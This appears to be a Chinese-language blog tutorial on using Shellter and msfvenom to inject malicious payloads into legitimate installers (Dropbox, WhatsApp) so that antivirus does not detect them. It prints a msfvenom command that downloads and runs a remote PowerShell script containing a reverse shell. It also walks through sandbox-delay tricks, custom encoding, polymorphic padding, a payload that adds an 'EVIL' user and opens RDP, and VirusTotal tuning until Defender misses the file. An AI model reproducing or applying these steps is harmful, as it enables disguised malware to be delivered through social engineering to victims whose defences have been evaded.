使Shellter在手动模式下获得最大免杀效果

使Shellter在手动模式下获得最大免杀效果

在本系列的前两篇文章中,我们研究了使用 shellter 实用程序的自动手动模式。生成绕过一些流行的防病毒程序的文件。想象一下,目标系统使用防病毒软件,即使在对先前材料进行操作之后,该防病毒软件仍会继续将文件识别为恶意文件和潜在危险文件。由于payload编码的更改不会产生任何结果,因此很可能在沙箱中运行会揭示可疑的payload活动。你还能做什么?让我们尝试改变payload本身

尝试远程实现功能

例如,让我们远程放置功能并加载所需的文件。这种方法很灵活。让我们在powershell批处理文件中编写一个脚本并将其放入包装器中。此外,让我们在脚本中建立连接之前嵌入延迟。防病毒软件不会永远等待查看我们的代码将要做什么。几分钟的延迟通常足以使沙箱分析成功。然而,这个技巧可能不起作用:包装器会很可疑。我们将像以前一样使用 shellter 将脚本嵌入到我们的文件中。Msfvenom让你这样做:

msfvenom -a x86 -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/our_script.ps1')\"" -f raw

our_script.ps1 中的脚本中有一个反向shell。

使Shellter在手动模式下获得最大免杀效果

执行结果:

x86 / shikata_ga_nai 选择最终大小 3124 payload大小:3124 字节

另存为:downloader.bin

我们再次经历了shellter阶段。这次我们开启了Dynamic Thread Context Info的收集,最多可跟踪10,000条指令,并额外检查自修改代码。

使Shellter在手动模式下获得最大免杀效果

跟踪花了一些时间,但没有发生错误或问题。

使Shellter在手动模式下获得最大免杀效果

打开隐身(对于强制模式并使用 exitfunc = thread, not process)并使用您自己的编码序列打开编码。需要注意的是,在生成这样的序列时,需要排除“逆”运算的出现,例如下面连续的两个XOR。

使Shellter在手动模式下获得最大免杀效果

我们选择一种处理内存的方法(在屏幕截图中,选择了处理堆),混淆 IAT 处理程序并添加多态代码。

使Shellter在手动模式下获得最大免杀效果

从之前对这个文件运行的 shellter 来看,我们知道可以在堆上放置大约 8 KB 的代码。加载大小为 5 千字节半,因此我们添加了由 shellter 生成的 2kB 多态代码。

使Shellter在手动模式下获得最大免杀效果

过滤的第三阶段已经到了,我们可以注入代码了。如您所见,DTCI 显着减少了可能的实现点数。注入完成,验证通过。

检查文件效率

将我们的文件上传到virustotal 在线数据库。不,尽管我们看到了一些改进,但全球情况并没有改变(23 对 24)。

使Shellter在手动模式下获得最大免杀效果

70 款杀毒软件中只有 23 款能够处理这个文件,但 Defender 也能够识别出恶意活动。有趣的是,Sophos 防病毒软件(一个不起眼的产品)自信地将我们的文件识别为由 shellter 实用程序处理。该文件(dropbox 安装程序)已被多次用于注入恶意代码并在virustotal 站点上对其进行测试。

识别恶意软件的原因是什么

与“真实”版本相比,某些防病毒软件(包括 sophos)可能会检查文件是否已更改(例如,通过 shellter 更改的校验和)。创建一个具有相同payload的新文件。

让我们尝试安装程序(这是一个流行的选项,非常适合社交工程)Telegram、Whatsapp、Zoom、Outlook 的 Zoom 插件。电报安装程序已打包,因此我们不会使用它。whatsapp 安装程序很大(~ 140MB),似乎可以隐藏大象。zoom 插件的安装程序也不顺利:它已经被打包到一个 .msi 文件中。从所有选项中选择 Whatsapp。

使用 shellter 作为 whatsapp 安装程序工作

使Shellter在手动模式下获得最大免杀效果

重命名文件以缩短名称。这里没有魔法。

使Shellter在手动模式下获得最大免杀效果

根据文件的大小,可以假设它不会被打包。假设是正确的。

使Shellter在手动模式下获得最大免杀效果

我们像以前一样打开 DTCI 和跟踪的收集。文件越大,指令越多,所以限制设置为100,000条指令,而不是之前的10,000条。

使Shellter在手动模式下获得最大免杀效果

我们将使用两个选项作为payload:第一个 – 反向shell(之前考虑过生成),第二个 – 将 EVIL 用户添加到系统并通过 RDP 启用远程访问 + 更改防火墙规则(下面的屏幕截图)。加载完成后,会从受害者一侧向机器发出 ping 信号。碰巧第一个 ping 请求占用了 ARP 解析,因此我们请求两个数据包。

使Shellter在手动模式下获得最大免杀效果

由于这两个加载选项的构建方式相同,因此本文不包含 shellter 工作的详细截图 – 有第一次“运行”,以下是两种情况下获得的结果。

使Shellter在手动模式下获得最大免杀效果

在跟踪过程中等待我们的是一个惊喜:在跟踪了大约 92,000 条指令后,该应用程序要求允许从 Microsoft 网站安装 .NET。

使Shellter在手动模式下获得最大免杀效果

为什么好看?因为这表明应用程序的网络活动是合法的。

使Shellter在手动模式下获得最大免杀效果

我们像以前一样:打开隐身模式,打开可用的编码,使用我们唯一的序列进行编码。

使Shellter在手动模式下获得最大免杀效果

IAT 处理程序:选择加载库。顺便说一下,这是添加到功能中的最后一个方法(尽管是几年前)。

使Shellter在手动模式下获得最大免杀效果

此外,我们通过插入多态代码进行屏蔽。顺便说一下,最大插入大小是 10,000 字节。

使Shellter在手动模式下获得最大免杀效果

该文件足够大,可以容纳很多有用的东西。所以我们的代码和多态部分都适合那里,尽管总大小超过 20k。让我们看看注入点是什么样子的。

使Shellter在手动模式下获得最大免杀效果

我们选择倒数第二个:猜测 .NET 是否存在的检查结束的代码部分很重要。点 45 和 46 是某种独立的函数,因此我们使用 45。

使Shellter在手动模式下获得最大免杀效果

最终文件测试(带有反向shell的第一个版本)

注入完成,我们正在virustotal 上测试文件。第一个选项(在 300 次 shikata-ga-na i迭代中打包了一个反向shell)立即产生了很好的结果(67 次中有 3 次)。

使Shellter在手动模式下获得最大免杀效果

请注意,详细信息选项卡没有给出在沙箱中启动的结果:显然,该文件被认为太大而无法分析。

最终文件测试(第二个版本,将用户 EVIL 添加到系统并通过 RDP 启用远程访问)

第二个变体的结果与第一个测试相同,只是 Microsoft 将payload归类为不同的威胁子类。

使Shellter在手动模式下获得最大免杀效果

请注意,恶意软件类包含“meterpreter”一词;我们假设已检测到 shikata-ga-nai 编码。让我们准备没有这个编码器的payload,并以同样的方式嵌入。我们称其为文件的第三个版本,即第二个版本的修订版。

最终文件测试(第三版)

使Shellter在手动模式下获得最大免杀效果

不知道它会持续多久,但这个技巧奏效了,Windows Defender 不再将文件识别为包含木马。Virus Blok Ada 在之前的测试中发出警告但未发现威胁。

继续在实验室机器上测试文件以查看 ping。不用说,Windows Defender 没有发现任何问题。

使Shellter在手动模式下获得最大免杀效果

在与测试(目标)机器相同的操作系统上编写和编译的自定义反向 shell 将进一步增加通过防病毒扫描的机会。提高文件性能并使用它自己的多态代码,而不是 shellter 建议的多态代码。

总结一下:使用 shellter 绕过现代防病毒软件是一项艰巨的任务,但有趣且可行。


尝试创建“通用密钥”是没有意义的:最好在进行初步研究后找出目标操作系统上使用的防病毒产品并针对特定防病毒创建文件。此外,一旦在线扫描文件,它就会自动发送给防病毒供应商进行分析。因此,在不久的将来,它将被大量防病毒软件识别为恶意软件。当我们需要保证“惊喜”杀毒时,我们在自己的虚拟机上测试准备好的文件,与目标虚拟机完全相似(相同的操作系统,相同的安装的杀毒产品,相同的杀毒数据库)。

参考清单

  1. https://en.wikipedia.org/wiki/Billion_laughs_attack
  2. https://www.virustotal.com/gui/
  3. https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/利用-microsoft-cloud-protection-microsoft-defender-antivirus

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注